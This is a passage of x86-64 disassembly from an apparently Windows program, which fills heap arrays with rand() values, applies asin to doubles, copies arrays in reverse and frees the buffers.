sub dword [rbp + 0x51608], 1
cmp dword [rbp + 0x51608], 0x32
jg 0x1400028f6
mov dword [rbp + 0x51600], 0
jmp 0x140002957
call sub.msvcrt.dll_rand
imul eax, eax, 0x1d0
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1404300c0
movq rax, xmm0
mov qword [rbp + 0x68], rax
add dword [rbp + 0x51600], 1
cmp dword [rbp + 0x51600], 0x36
jle 0x140002919
mov ecx, 0x420
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f50], rax
mov dword [rbp + 0x515fc], 0
jmp 0x1400029cb
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x515fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f50]
add rax, rdx
movsd xmm1, qword [0x1404381e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x515fc], 1
cmp dword [rbp + 0x515fc], 0x83
jle 0x14000297d
mov dword [rbp + 0x515fc], 0
jmp 0x140002a35
mov eax, dword [rbp + 0x515fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f50]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x515fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x32f50]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x515fc], 1
cmp dword [rbp + 0x515fc], 0x83
jle 0x1400029e3
mov ecx, 0x108
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f48], rax
mov ecx, 0x108
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f40], rax
mov ecx, 0x108
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f38], rax
mov ecx, 0x108
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f30], rax
mov dword [rbp + 0x515f4], 0x41
mov dword [rbp + 0x515f8], 0
jmp 0x140002b31
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x515f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f48]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x515f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f40]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x515f8], 1
cmp dword [rbp + 0x515f8], 0x41
jle 0x140002a9e
mov dword [rbp + 0x515f8], 0
jmp 0x140002bcd
mov eax, dword [rbp + 0x515f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f48]
add rax, rdx
mov edx, dword [rbp + 0x515f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f38]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x515f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f40]
add rax, rdx
mov edx, dword [rbp + 0x515f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f30]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x515f4], 1
add dword [rbp + 0x515f8], 1
cmp dword [rbp + 0x515f8], 0x41
jle 0x140002b4d
mov rax, qword [rbp + 0x32f48]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32f40]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32f38]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32f30]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x298
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f28], rax
mov dword [rbp + 0x515ec], 0
mov dword [rbp + 0x515e8], 0
mov dword [rbp + 0x515f0], 0
jmp 0x140002c93
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x515f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f28]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x515f0], 1
cmp dword [rbp + 0x515f0], 0xa5
jle 0x140002c47
mov dword [rbp + 0x515f0], 0
jmp 0x140002cd4